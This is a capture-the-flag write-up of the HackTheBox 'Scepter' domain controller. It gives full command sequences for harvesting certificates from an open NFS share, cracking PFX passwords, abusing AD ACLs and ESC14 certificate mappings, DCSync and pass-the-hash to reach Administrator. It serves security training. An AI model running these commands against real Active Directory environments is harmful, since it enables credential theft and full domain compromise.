HTB: Scepter Writeup
Scepter - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Scepter |
| OS | Windows |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.244.44 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Scepter (dc01.scepter.htb) is a Windows Domain Controller that starts with an unauthenticated NFS export leaking PFX/private-key material for three domain users. Cracking the PFX password unlocks a certificate for d.baker, but domain authentication doesn’t go the obvious route — instead of PKINIT working cleanly, the DC returns KDC_ERR_PADATA_TYPE_NOSUPP for baker’s certificate specifically, forcing a pivot to Schannel-based LDAPS client-certificate authentication to get an authenticated LDAP session. From there, d.baker’s ForceChangePassword right over a.carter and a.carter’s inherited GenericAll over the Staff Access Certificate OU (via IT SUPPORT group membership) chain into full control of d.baker’s AD object. The Certificate Authority is vulnerable to ESC14 (explicit/weak certificate-to-account mapping): by rewriting d.baker’s mail attribute to match a target user and re-enrolling the StaffAccessCertificate template, the certificate authenticates as that target user instead. This is chained twice — first to land on h.brown (user flag, WinRM via Kerberos since h.brown sits in Protected Users), then again from h.brown’s CMS group privileges (which can write altSecurityIdentities on the Helpdesk Enrollment Certificate OU) to land on p.adams, who holds DCSync rights over the domain.
TL;DR: Anonymous NFS share → cracked PFX (newpassword) → d.baker cert → Schannel LDAP auth (PKINIT was broken for this cert) → ForceChangePassword on a.carter → GenericAll on Staff Access Certificate OU → reset d.baker → ESC14 (mail-attribute mapping) to h.brown → user.txt → ESC14 (X509RFC822 mapping via CMS group) to p.adams → DCSync → Administrator → root.txt.
Reconnaissance
Service Enumeration
dc01.scepter.htb presented the standard Windows Domain Controller service set (Kerberos, LDAP, SMB, WinRM). The standout service for initial access was NFS, which was checked directly with showmount:
# Enumerate exported NFS sharesshowmount -e 10.129.244.44The /helpdesk share was exported without any host or authentication restriction. It was mounted read-write:
# Mount the unauthenticated NFS exportmkdir -p /tmp/scep/mntsudo mount -t nfs -o rw,vers=3 10.129.244.44:/helpdesk /tmp/scep/mnt
# List contentssudo ls -la /tmp/scep/mnt/The share contained certificate material for helpdesk/PKI-related accounts:
baker.crtbaker.keyclark.pfxlewis.pfxscott.pfxThese were copied out and ownership fixed for local processing:
cd /tmp/scepfor f in baker.crt baker.key clark.pfx lewis.pfx scott.pfx; do sudo cp mnt/$f .; donesudo chown d3vn0mi:d3vn0mi baker.crt baker.key clark.pfx lewis.pfx scott.pfxVulnerability Assessment
- Anonymous NFS export leaking PKI material for three accounts (
clark,lewis,scott) plus a raw cert/key pair ford.baker. - Weak/shared PFX passphrase protecting the exported certificates — crackable offline.
- AD CS misconfiguration (confirmed later): the StaffAccessCertificate template combined with
SubjectAltRequireEmailand weak certificate mapping allows attacker-controlledmail/altSecurityIdentitiesattributes to redirect a certificate’s identity to an arbitrary target account — the classic ESC14 pattern.
Initial Foothold
Cracking the PFX Password
All three .pfx files were converted to John-crackable hashes and run against rockyou.txt:
# Extract crackable hash format from each PFXpfx2john lewis.pfx > lewis.hashpfx2john scott.pfx > scott.hashpfx2john clark.pfx > clark.hashcat lewis.hash scott.hash clark.hash > all.hash
# Crack with Johnjohn --wordlist=/usr/share/wordlists/rockyou.txt all.hashThe shared PFX password cracked to newpassword. The same passphrase also protected baker.key:
# Decrypt d.baker's private key using the cracked passphraseopenssl rsa -in baker.key -out baker-decrypted.key -passin pass:newpassword
# Merge the decrypted key with baker's certificate into a single PEMcat baker-decrypted.key > baker.pemtail -n +2 baker.crt >> baker.pem
# Package as an unencrypted PFX for certificate-based authenticationopenssl pkcs12 -in baker.pem -export -out baker.pfx -passout pass:PKINIT Failure and the Schannel Pivot
The expected next step — Kerberos PKINIT with certipy-ad auth — failed unexpectedly:
certipy-ad auth -pfx baker.pfx -domain scepter.htb -dc-ip 10.129.244.44Result: KDC_ERR_PADATA_TYPE_NOSUPP — a KDC-side rejection of the pre-authentication data type, not a trust/revocation error. To confirm PKINIT itself worked on this DC (i.e., that the problem was specific to baker’s cert rather than a systemic clock-skew or PKINIT-disabled issue), the same flow was tested against lewis.pfx:
certipy-ad cert -export -pfx lewis.pfx -password newpassword -out lewis_u.pfxcertipy-ad auth -pfx lewis_u.pfx -domain scepter.htb -dc-ip 10.129.244.44Lewis’s certificate returned KDC_ERR_CLIENT_NOT_TRUSTED — the expected error for an untrusted/unmapped cert, proving PKINIT itself was functional. Baker’s PADATA_TYPE_NOSUPP was therefore cert-specific. Time skew, modulus mismatch between key and cert, and several PFX rebuild variants (cert -export without password, plain pkcs12 export, CSP-tagged export) were all ruled out:
# Confirm key/cert pair actually matchopenssl rsa -in baker-decrypted.key -noout -modulus | md5sumopenssl x509 -in baker.crt -noout -modulus | md5sum# (hashes matched — key/cert pairing was not the problem)Rather than continue chasing the PKINIT error, the certificate was used for Schannel LDAPS client-certificate authentication instead of Kerberos PKINIT — a different AD authentication path that binds a client cert to an LDAP session over LDAPS rather than issuing a TGT:
# certipy-ad's -ldap-shell drives an authenticated LDAP session over Schannel# using the client certificate directly, bypassing PKINIT entirelycertipy-ad auth -pfx baker.pfx -domain scepter.htb -dc-ip 10.129.244.44 -ldap-shellThis authenticated cleanly as d.baker and dropped into an LDAP shell — confirming the certificate itself, and its mapping to d.baker’s account, were valid; only the PKINIT (KDC) path was rejecting it.
d.baker → a.carter (ForceChangePassword)
From the LDAP shell, d.baker’s ForceChangePassword right over a.carter was used directly:
change_password a.carter Passw0rd!2026Verified with NetExec:
nxc smb 10.129.244.44 -u a.carter -p "Passw0rd!2026"Privilege Escalation
a.carter → Staff Access Certificate OU (GenericAll)
a.carter’s membership in IT SUPPORT grants GenericAll over the Staff Access Certificate OU (which contains d.baker). This was converted into a durable, inheritable ACE with impacket-dacledit:
# Grant FullControl over the OU (with inheritance) so it propagates# to child objects such as d.bakerimpacket-dacledit -action write -rights FullControl -inheritance \ -principal a.carter \ -target-dn "OU=Staff Access Certificate,DC=scepter,DC=htb" \ 'scepter.htb/a.carter:Passw0rd!2026'With FullControl now inherited onto d.baker, the account’s password was reset outright — sidestepping the broken PKINIT path entirely in favor of ordinary password authentication for the next stage:
net rpc password "d.baker" "Bak3rPwn!2026" \ -U "scepter.htb"/"a.carter"%"Passw0rd!2026" -S dc01.scepter.htbESC14 #1 — d.baker → h.brown
The StaffAccessCertificate template requires SubjectAltRequireEmail, meaning the issued certificate’s identity is bound to whatever the enrolling account’s mail attribute says at enrollment time — not necessarily the enrolling account itself once weak/explicit mapping is in play. With FullControl over d.baker’s object, the mail attribute was repointed at the intended target before enrolling:
# Point d.baker's mail attribute at the target accountbloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p "Passw0rd!2026" \ set object "CN=d.baker,OU=Staff Access Certificate,DC=scepter,DC=htb" mail -v h.brown@scepter.htb
# Enroll the StaffAccessCertificate template as d.baker (password auth now works)certipy-ad req -u d.baker@scepter.htb -p "Bak3rPwn!2026" \ -ca SCEPTER-DC01-CA -template StaffAccessCertificate \ -target dc01.scepter.htbThis produced d.baker.pfx — a certificate that, thanks to SubjectAltRequireEmail, resolves to whichever mailbox was set on d.baker at enrollment. Authenticating with it while explicitly asserting the target username completed the ESC14 identity swap:
certipy-ad auth -pfx d.baker.pfx -domain scepter.htb -username h.brown -dc-ip 10.129.244.44This returned a valid TGT and NT hash for h.brown, not d.baker. Because h.brown is a member of Protected Users, RC4/NTLM authentication is blocked, so access required a Kerberos ticket cache instead of a hash-based login:
# Minimal krb5.conf pointed at the DC as KDCcat > /tmp/scep/krb5.conf << EOF[libdefaults] default_realm = SCEPTER.HTB dns_lookup_realm = false dns_lookup_kdc = false[realms] SCEPTER.HTB = { kdc = dc01.scepter.htb }EOF
export KRB5_CONFIG=/tmp/scep/krb5.confexport KRB5CCNAME=/tmp/scep/h.brown.ccache
# WinRM using the Kerberos ccache (NTLM is unusable — Protected Users)nxc winrm dc01.scepter.htb --use-kcache -x "whoami"user.txt was retrieved from h.brown’s desktop via a PowerShell one-liner over the Kerberos WinRM session:
$f = Get-Content C:\Users\h.brown\Desktop\user.txtWrite-Output "FLAGSTART${f}FLAGEND"User Flag (h.brown): <redacted>ESC14 #2 — h.brown → p.adams (X509RFC822 mapping)
h.brown belongs to the CMS group, which was granted WriteProperty over altSecurityIdentities on descendant objects of the Helpdesk Enrollment Certificate OU — a second, independently exploitable ESC14 path using explicit weak mapping rather than the mail-attribute trick. Instead of repointing mail, the target account’s altSecurityIdentities attribute was set to a self-chosen X.509 RFC822 mapping string, and d.baker’s mail was aimed at that same target before re-enrolling:
# Explicitly map p.adams to accept an X509 RFC822-style certificate identitybloodyAD --host dc01.scepter.htb -d scepter.htb -u h.brown -k \ set object "CN=p.adams,...,DC=scepter,DC=htb" altSecurityIdentities \ -v "X509:<RFC822>p.adams@scepter.htb"
# Re-point d.baker's mail attribute and re-enroll the certificate templatebloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p "Passw0rd!2026" \ set object "CN=d.baker,OU=Staff Access Certificate,DC=scepter,DC=htb" mail -v p.adams@scepter.htb
certipy-ad req -u d.baker@scepter.htb -p "Bak3rPwn!2026" \ -ca SCEPTER-DC01-CA -template StaffAccessCertificate -target dc01.scepter.htb
# Authenticate as p.adams using the re-mapped certificatecertipy-ad auth -pfx d.baker.pfx -domain scepter.htb -username p.adams -dc-ip 10.129.244.44This yielded a working TGT/NT hash for p.adams.
p.adams → Domain Admin (DCSync)
p.adams holds replication rights (DS-Replication-Get-Changes / -All) sufficient for a DCSync attack, dumping the Administrator NT hash directly from the domain’s replication data:
# DCSync the Administrator account using p.adams' replication privilegesimpacket-secretsdump scepter.htb/p.adams@dc01.scepter.htb -just-dc-user Administrator -k -no-passWith the Administrator NT hash in hand, a pass-the-hash WinRM session delivered root:
evil-winrm -i dc01.scepter.htb -u Administrator -H <administrator_nt_hash>Root Flag (Administrator): <redacted>Attack Chain Summary
Anonymous NFS export (/helpdesk) → cracked shared PFX passphrase (newpassword) → decrypted baker.key, built baker.pfx → PKINIT rejected baker's cert (KDC_ERR_PADATA_TYPE_NOSUPP) [confirmed via lewis.pfx that PKINIT itself worked] → pivoted to Schannel LDAPS client-cert auth → authenticated LDAP session as d.baker → ForceChangePassword: d.baker → a.carter → GenericAll (via IT SUPPORT) on "Staff Access Certificate" OU → dacledit FullControl on d.baker → reset d.baker's password (bypassing broken PKINIT with plain password auth) → ESC14 #1: set d.baker.mail = h.brown → enroll StaffAccessCertificate → auth as h.brown → Kerberos-only WinRM (Protected Users) → user.txt → ESC14 #2: h.brown (CMS) sets p.adams.altSecurityIdentities (X509 RFC822) → set d.baker.mail = p.adams → re-enroll → auth as p.adams → p.adams DCSync → Administrator NT hash → pass-the-hash WinRM → root.txtTools Used
| Tool | Purpose |
|---|---|
showmount / NFS mount | Discover and mount the unauthenticated /helpdesk export |
pfx2john / john | Crack the shared PFX passphrase |
openssl | Decrypt private key, rebuild PEM/PFX certificate bundles |
certipy-ad | Certificate auth (PKINIT + Schannel), template enrollment, ESC14 exploitation |
impacket-dacledit | Write an inheritable FullControl ACE onto the target OU |
bloodyAD | LDAP attribute writes (mail, altSecurityIdentities) |
net rpc | SMB-based password reset for d.baker |
nxc (NetExec) | Credential validation, Kerberos-ccache WinRM execution |
impacket-secretsdump | DCSync of the Administrator hash via p.adams |
evil-winrm | Pass-the-hash WinRM session as Administrator |
Key Learnings
Techniques Practiced
- Exploiting anonymous/unauthenticated NFS exports for credential material harvesting
- Cracking PKCS#12 (PFX) passphrases offline with
pfx2john/John - Rebuilding usable PFX bundles from a separately supplied cert + encrypted key
- Diagnosing PKINIT-specific KDC errors and falling back to Schannel LDAPS certificate authentication
- Kerberos-ticket-only operation against Protected Users group members (no NTLM/RC4 fallback)
- Chaining
ForceChangePassword→ OU-levelGenericAll→ DACL rewrite for durable object control - Exploiting AD CS ESC14 (explicit/weak certificate mapping) via both
mail-attribute (SubjectAltRequireEmail) andaltSecurityIdentities(X509RFC822) vectors - DCSync-based domain compromise via delegated replication rights
Lessons Learned
- A KDC error during PKINIT (
KDC_ERR_PADATA_TYPE_NOSUPP) doesn’t necessarily mean PKINIT is broken domain-wide or that the certificate is invalid — cross-testing with a second known-good certificate (lewis’s, which returned the expectedCLIENT_NOT_TRUSTED) isolated the fault to baker’s specific cert without wasting time debugging clock skew or CA trust. - Certificate-based authentication has more than one door: when Kerberos PKINIT is unavailable or misbehaving, Schannel LDAPS client-certificate binding can authenticate the same certificate identity for LDAP operations, unblocking ACL abuse even without a usable TGT.
- ESC14 is not a single template flaw — it’s a family of weak-mapping abuses. This box demonstrates two distinct variants: rewriting
mailagainstSubjectAltRequireEmail, and directly writingaltSecurityIdentitieswhere a group has been granted that property explicitly. Both let an attacker with write access to one account’s attributes mint a certificate that authenticates as a completely different account. - Protected Users group membership blocks NTLM/RC4 but not Kerberos — once a TGT/ccache is obtained, ticket-based WinRM (
--use-kcache) is the correct path forward rather than trying to force a hash-based logon. - Small DACL writes compound quickly: a single
ForceChangePasswordedge plus one OU-levelGenericAlledge was enough to pivot from a low-value helpdesk certificate all the way to a DCSync-capable account.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- 0xEr3bus, Scepter (HackTheBox Official Writeup), 3 July 2025 — used for background on the ESC14 attack technique (explicit/weak certificate mapping via
mail/SubjectAltRequireEmailandaltSecurityIdentities/X509RFC822), the DACL abuse chain (ForceChangePassword→ OUGenericAll), and the role ofStrongCertificateBindingEnforcement/KB5014754 in enabling weak-mapping attacks against AD CS.